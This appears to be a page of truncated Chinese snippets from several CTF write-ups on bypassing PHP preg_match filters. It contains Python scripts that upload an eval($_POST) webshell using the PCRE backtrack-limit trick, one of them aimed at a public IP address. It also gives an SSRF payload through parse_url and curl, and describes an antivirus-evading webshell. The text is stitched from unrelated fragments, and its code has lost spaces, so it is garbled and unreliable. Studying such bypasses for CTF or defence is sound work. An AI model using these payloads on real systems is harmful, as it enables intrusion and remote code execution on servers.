这里看到xdebug,以为是phpstorm开了远程调试,因为题目说管理员开发完登陆界面就睡着了,2333 尝试打了payload,无果,参考文章 http://momomoxiaoxi.com/2017/09/18/WHCTF/ 正常代码审计 大致逻辑是这样的,你可以注册一个用户,其中的code可以定义你的身份,如果你的code被pre_match处理后,能满足以下条件 $admin = "...
33. 本题利用的是php的类名和方法名不缺分大小写特性(但是变量名敏感),利用大写类名绕过preg_match检查。 但是本题也有一个坑点,payload不能再urlencode,因为是通过php://input提交,并不会在后台进行urldecode,如果换作get提交则可用urlencode后再提交 <?phpclassCtfshow{public$username='xxxxxx';public$password=...
http://momomoxiaoxi.com/2017/09/18/WHCTF/ 正常代码审计 大致逻辑是这样的,你可以注册一个用户,其中的code可以定义你的身份,如果你的code被pre_match处理后,能满足以下条件 $admin="xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');//$admin是每次随机生成的,碰撞的可能...
1、数组绕过 preg_match只能处理字符串,当传入的subject是数组时会返回false 2、PCRE回溯次数限制 PHP利用PCRE回溯次数限制绕过某些安全限制 importrequestsfromioimportBytesIO files = {'file': BytesIO(b'aaa<?php eval($_POST[txt]);//'+b'a'*1000000) } res = requests.post('http://51.158.75.42:808...
以上的代码首先通过filer_var验证是否是合法的url,之后再通过parse_url解析该url,并将解析结果赋给$r,然后提取出来其中的host主机名,然后使用preg_match进行正则过滤,限制其域名为baidu.com,如果 匹配成功则,则对host头部执行curl payload为: url=0://your_ip:your_port,baidu.com:80/ ...
在制作免杀马的过程,根据php的语言特性对字符进行!运算会将字符类型转为bool类型,而bool类型遇到运算符号时,true会自动转为数字1,false会自动转为数字0,如果将bool类型进行计算,并使用chr()函数转为字符,使用"."进行连接,便可以绕过preg_match匹配。 详情了解php不同于其他语言部分 ...
file_put_contents('pcreshell.php',$data)?> py脚本: import requestsfromio import BytesIO files={'data': BytesIO(b'aaa<?php eval($_POST[txt]);//'+ b'a'*1000000) } res= requests.post('http://127.0.0.1/pcre.php', files=files, allow_redirects=False) ...